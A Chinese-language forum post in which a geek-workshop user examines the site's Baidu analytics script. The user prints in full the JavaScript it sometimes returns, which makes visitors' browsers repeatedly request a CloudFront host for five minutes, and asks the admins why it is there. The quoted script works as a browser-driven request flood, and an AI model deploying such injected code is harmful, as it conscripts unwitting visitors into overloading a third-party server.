|
由於近日连接 geek-workshop 出了点问题, 细心研究了一遍这个网站的源码, 发觉有点奇怪的地方.
在论坛的源码(forum.php)中, 有以下的一段:- <script type="text/javascript">
- var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
- document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3F5f8d64f479335f9059cacd72ba1019c5' type='text/javascript'%3E%3C/script%3E"));
- </script>
复制代码 当中会加入一个 http://hm.baidu.com/h.js , 而这个 js 有点奇怪, 在某些地方访问它, 结果会是空白的.
但亦有可能接收到以下的一段 javascript.- document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'><\/script>");
- !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'><\/script>");
- startime=new Date().getTime();
- var count = 0;
-
- function unixtime()
- {
- var dt = new Date();
- var ux = Date.UTC(dt.getFullYear(),dt.getMonth(),dt.getDay(),dt.getHours(),dt.getMinutes(),dt.getSeconds())/1000;
- return ux;
- }
-
- function get()
- {
- var ping;
- $.ajax({
- url: "http://d3rkfw22xppori.cloudfront.net/_close?t="+unixtime(),
- dataType: "text",
- timeout: 10000,
- cache:true,
- beforeSend : function()
- {
- requestTime = new Date().getTime();
- },
- complete : function()
- {
- responseTime = new Date().getTime();
- ping = Math.floor(responseTime-requestTime);
- if(responseTime-startime<300000)
- {
- r_send(ping);
- count = count + 1;
- }
- }
- });
-
- }
-
- function r_send(ping)
- {
- setTimeout("get()", ping);
- }
- setTimeout("get()", 2000);
复制代码 如果接收了这段 javascript, 就会不断向 http://d3rkfw22xppori.cloudfront.net 发出请求, 结果都是 No 'Access-Control-Allow-Origin'. 最後在讨论中的 javasript 都不能正常执行.
看似是为了阻挡某些地方的连结似的, 但 geek-workshop 又不像是要对什麽人封锁, 所以想请教管理员, 是否有什麽原因, 要加入这样的封锁? 可否让 geek-workshop 完全开放呢?
|
|